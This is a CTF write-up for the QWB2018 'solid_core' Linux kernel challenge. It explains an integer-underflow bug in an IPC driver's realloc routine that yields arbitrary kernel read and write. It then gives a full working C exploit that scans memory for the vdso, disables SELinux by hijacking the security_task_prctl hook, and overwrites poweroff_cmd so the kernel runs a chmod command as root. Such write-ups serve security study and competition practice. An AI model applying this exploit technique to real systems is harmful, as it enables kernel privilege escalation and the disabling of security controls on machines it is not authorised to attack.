Posts List
  1. Analyse
  2. EXP

QWB2018 solid_core Write Up

Analyse

It’s a Linux Kernel Pwn slightly modified from CSAW2015_StringIPC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
struct ipc_channel *channel;
size_t new_size;
char *new_data;

channel = get_channel_by_id(state, id);
if ( IS_ERR(channel) )
return PTR_ERR(channel);

if ( grow )
new_size = channel->buf_size + size;
else
new_size = channel->buf_size - size;

new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
if ( new_data == NULL )
return -EINVAL;

channel->data = new_data;
channel->buf_size = new_size;

ipc_channel_put(state, channel);

return 0;
}

The vulnerability is in the realloc_ipc_channel function. If we set new_size = -1(0xffffffffffffffff), the krealloc gets 0 as the second parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define ZERO_SIZE_PTR ((void *)16)

void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
void *ret;

if (unlikely(!new_size)) {
kfree(p);
return ZERO_SIZE_PTR;
}

ret = __do_krealloc(p, new_size, flags);
if (ret && p != ret)
kfree(p);

return ret;
}
EXPORT_SYMBOL(krealloc);

If the krealloc gets 0 of new_size, it returns ZERO_SIZE_PTR, which is not zero but 16. Therefore, we could pass the check of ‘if ( new_data == NULL )’ in realloc_ipc_channel and set channel->buf_size to 0xffffffffffffffff. As a result, we get write-anywhere and read-anywhere vulnerabilities.

Unlike CSAS2015_SpringIPC, it limits the need to write an address greater than 0xffffffff80000000 (Kernel Base).

EXP

There is a syscall called prctl.

1
2
3
4
5
6
7
8
9
10
11
12
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;

error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;

list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}

prctl -> security_task_prctl -> (hp->hook.task_prctl), which is a virtual table -> hijack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static int __orderly_poweroff(bool force)
{
int ret;

ret = run_cmd(poweroff_cmd);

if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");

/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}

return ret;
}

In __orderly_poweroff, there is a run_cmd function, which takes poweroff_cmd as parameter, and the poweroff_cmd is a global variable, which could be changed by user.
Before run_cmd in Kernel to change the file permission of flag, we should close selinux through selinux_disable.

  1. In general, we could exploit as follow:
  2. leak address of vdso near kernel base
  3. burst address of string “/sbin/poweroff”
  4. hook security_task_prctl to selinux_disable
  5. change poweroff_cmd to our cmd
  6. hooksecurity_task_prctl to orderly_poweroff to execute our cmd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void error ( char *msg )
{
perror(msg);
exit(EXIT_FAILURE);
}

void hexdump ( char *addr, unsigned int length )
{
unsigned int i, j;

for ( i = 0; i < length / 16; i++ )
{
for ( j = 0; j < 16; j++ )
{
printf("%02hhx ", addr[i * 16 + j]);
}
printf("\n");
}
}

int write_kernel_memory ( int fd, int id, unsigned long kaddr, void *buf, unsigned int size )
{
int ret;
char null_byte = 0;
struct seek_channel_args seek_channel;
struct write_channel_args write_channel;

memset(&seek_channel, 0, sizeof(seek_channel));
seek_channel.id = id;
seek_channel.index = kaddr - 0x10;
seek_channel.whence = SEEK_SET;

ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

memset(&write_channel, 0, sizeof(write_channel));
write_channel.id = id;
write_channel.buf = buf;
write_channel.count = size;

ret = ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);

return ret;
}

int read_kernel_memory ( int fd, int id, unsigned long kaddr, void *buf, unsigned int size )
{
int ret;
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

memset(&seek_channel, 0, sizeof(seek_channel));
seek_channel.id = id;
seek_channel.index = kaddr - 0x10;
seek_channel.whence = SEEK_SET;

ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

memset(&read_channel, 0, sizeof(read_channel));
read_channel.id = id;
read_channel.buf = buf;
read_channel.count = size;

ret = ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return ret;
}

int main(){

struct alloc_channel_args alloc_channel;
struct shrink_channel_args shrink_channel;
int fd = open("/proc/simp1e", O_RDWR);
if(fd < 0)
error("open");
int ret = 0;
int id;

memset(&alloc_channel,0,sizeof(alloc_channel));
alloc_channel.buf_size = 1;
ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel);
if(ret < 0)
error("alloc ioctl");
id = alloc_channel.id;
shrink_channel.size = 2; //shrink channel size to -1
shrink_channel.id = id;
ret = ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);
if(ret < 0)
error("shrink ioctl");

//Scanning for elf headers to find VDSO
unsigned long header = 0;
unsigned long loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
read_kernel_memory(fd,id,loc,&header,8);
if (header==0x010102464c457f) {
fprintf(stderr,"%p elf\n",loc);
read_kernel_memory(fd,id,loc+0x2B8,&header,8);
//Look for 'clock_ge' signature (may not be at this offset, but happened to be)
if (header == 0x65675f6b636f6c63) {
fprintf(stderr,"%p found it?\n",loc);
break;
}
}
}
unsigned long vdso = loc;
unsigned long base = vdso & 0xffffffffff000000;
header = 0;
unsigned long sbin_poweroff = 0;
for(unsigned long i = 0x13d1e0;i <= 0xf3d1e0;i+=0x100000){
read_kernel_memory(fd,id,base+i,&header,8);
if(header==0x6f702f6e6962732f){ // "/sbin/poweroff"
sbin_poweroff = base + i;
}
}
if(!header){
error("sbin_poweroff not found !");
return 0;
}
else printf("sbin_poweroff = %p ",sbin_poweroff);
unsigned long set_memory_rw = sbin_poweroff - 0x11c3ea0;
unsigned long selinux_disable = set_memory_rw + 0x24e860;
unsigned long security_task_prctl = set_memory_rw + 0x2440d0;
unsigned long hook_addr = sbin_poweroff + 0x12b20;
unsigned long orderly_poweroff = set_memory_rw + 0x22cc0;
printf("set_memory_rw = %p\n",set_memory_rw);
printf("selinux_disable = %p\n",selinux_disable);
printf("security_task_prctl = %p\n",security_task_prctl);

printf("Hijiack Prctl to selinux_disable");
write_kernel_memory(fd,id,hook_addr,&selinux_disable,8);
prctl(1,1,1,1,1);

char cmd[] = "/bin/chmod 777 /root/flag";

write_kernel_memory(fd,id,sbin_poweroff,cmd,sizeof(cmd));
write_kernel_memory(fd,id,hook_addr,&orderly_poweroff,8);
prctl(1,1,1,1,1);
return 0;
}

Reference: http://leanote.com/blog/post/5ab78270ab64413755000dcf